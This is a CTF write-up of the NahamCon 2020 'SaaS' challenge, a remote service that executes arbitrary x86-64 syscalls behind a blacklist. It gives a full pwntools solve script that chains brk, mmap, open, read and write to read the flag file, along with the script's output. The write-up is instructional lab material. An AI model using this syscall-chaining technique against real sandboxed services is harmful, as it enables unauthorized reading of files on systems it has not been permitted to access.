Tags: syscall pwn
Rating:
# NahamCon CTF 2020
## SaaS
> 100
>
> You've heard of software as a service, but have you heard of syscall as a service?
>
> Connect here:
> `nc jh2i.com 50016`
>
> [`saas`](saas)
Tags: _pwn_ _x86-64_ _syscall_
## Summary
A syscall trainer with a blacklist.
> If I were a 12-year-old, on pandemic lockdown, I'd be playing with this _all... day... long..._
>
> Yes, one could do all of this in C or assembly (better), but for casual learning, this is pretty neat.
## Analysis
### Checksec
```
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
```
All mitigations in place.
### Decompile with Ghidra
> After a quick scan of the decompiled code I could not find any obvious vulnerability. The intent of this challenge is to obtain the flag by sending syscalls (if there are unintended solutions, great!; I look forward to the write-ups).
The constraints for this challenge are located in the function `blacklist`:
```c
local_48[0] = 59;
local_48[1] = 57;
local_48[2] = 56;
local_48[3] = 62;
local_48[4] = 101;
local_48[5] = 200;
local_48[6] = 322;
```
First on the blacklist is fan favorite `execve`--no easy shell for you.
### Take it for a test run
```
Welcome to syscall-as-a-service!
Enter rax (decimal): 12
Enter rdi (decimal): 4096
Enter rsi (decimal): 0
Enter rdx (decimal): 0
Enter r10 (decimal): 0
Enter r9 (decimal): 0
Enter r8 (decimal): 0
Rax: 0x55b7ef168000
Enter rax (decimal):
```
Cool! Got heap.
```
Sorry too slow try scripting your solution.
```
Not so cool. Kinda lame actually, _how's a kid to learn?_
Let's patch out that pesky alarm:
```
#!/usr/bin/python3
from pwn import *
binary = ELF('saas')
binary.asm(binary.symbols['alarm'], 'ret')
binary.save('saas_noalarm')
os.chmod('saas_noalarm',0o755)
```
Right, now, just take your time with your favorite [syscall reference](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) and craft a solve. Oh, and make liberal use of `man`.
## Solve
### Setup
```python
#!/usr/bin/python3
from pwn import *
def syscall(p,rax=0,rdi=0,rsi=0,rdx=0,r10=0,r9=0,r8=0,stdin=''):
p.sendlineafter('Enter rax (decimal):', str(rax))
p.sendlineafter('Enter rdi (decimal):', str(rdi))
p.sendlineafter('Enter rsi (decimal):', str(rsi))
p.sendlineafter('Enter rdx (decimal):', str(rdx))
p.sendlineafter('Enter r10 (decimal):', str(r10))
p.sendlineafter('Enter r9 (decimal):' , str(r9))
p.sendlineafter('Enter r8 (decimal):' , str(r8))
if len(stdin) > 0:
print('stdin',stdin)
p.sendline(stdin)
stdout = p.recvuntil('Rax: ')
if len(stdout.split(b'Rax: ')[0][1:]) > 1:
print('stdout',stdout.split(b'Rax: ')[0][1:])
return int(p.recvline().strip(),16)
#p = process('./saas_noalarm')
p = remote('jh2i.com', 50016)
```
This `syscall` function just frontends the challenge and adds support for stdin/stdout. Returned is RAX (the return of the _real_ syscall).
From here you are only limited by your imagination.
### Find the heap (brk)
```python
# brk
heap = syscall(p,12,0x0)
print('heap',hex(heap))
```
Using the heap as a scratchpad.
> I'm not going to detail how each syscall works, please read the relevant syscall man page.
### Allocate some RAM for a filename
```python
# mmap
filename = syscall(p,9,heap,0x1000,7,50,0,0)
print('filename',hex(filename))
```
Using the `heap` pointer returned from `brk`, use `mmap` to request a page of RAM.
### From stdin read in the name of the flag file
```
# read
flagfile = b'./flag.txt\x00'
length = syscall(p,0,0,filename,len(flagfile),stdin=flagfile)
print('length',hex(length))
assert(length == len(flagfile))
```
CTFs are usually pretty consistent, since the other challenges had the flag located in the same directory as the working directory of the running binary, I just assumed `./flag.txt`.
The `syscall` Python function above will send the name of the flag file after invoking the `read` system call and will store the input at the address `filename` returned from `mmap` above.
The `assert` just checks that `read` really did _read_ in all the bytes.
### Open the file
```
# open
fd = syscall(p,2,filename)
print('fd',hex(fd))
```
`open` the file reference by `filename` (from `mmap` and populated with `read`) and return a file descriptor.
### Allocate a buffer for the file contents
```
# mmap
buf = syscall(p,9,heap+0x1000,0x1000,7,50,0,0)
print('buf',hex(buf))
```
Just like the previous `mmap`, but with an offset added to the `heap` address. Now imagine if you get this wrong all the heap bugs one can create. :-)
> Ok, this is probably wasteful. I already have 4096 bytes from the last `mmap`, and the known number of bytes used (the `length` returned from `read`). I could have just used an offset and pretended this was a struct.
### Read the flag
```
# read
bytesread = syscall(p,0,fd,buf,100)
print('bytesread',hex(bytesread))
```
This `read` is not unlike the previous read, however instead of using `stdin` (`0`), we'll read from the file descriptor `fd` returned from `open` and store in the newly allocated `buf`.
### Write to stdout
```
# write
bytessent = syscall(p,1,1,buf,bytesread)
print('bytessent',hex(bytessent))
assert(bytessent == bytesread)
```
Finally, `write` `buf` to `stdout`.
Output:
```
# ./solve.py
[+] Opening connection to jh2i.com on port 50016: Done
heap 0x560b54839000
filename 0x560b54839000
stdin b'./flag.txt\x00'
length 0xb
fd 0x6
buf 0x560b5483a000
bytesread 0x1f
stdout b'flag{rax_rdi_rsi_radical_dude}\n'
bytessent 0x1f
```
> Missing is any error checking, i.e. `-1` (`0xffffffffffffffff`) on fail.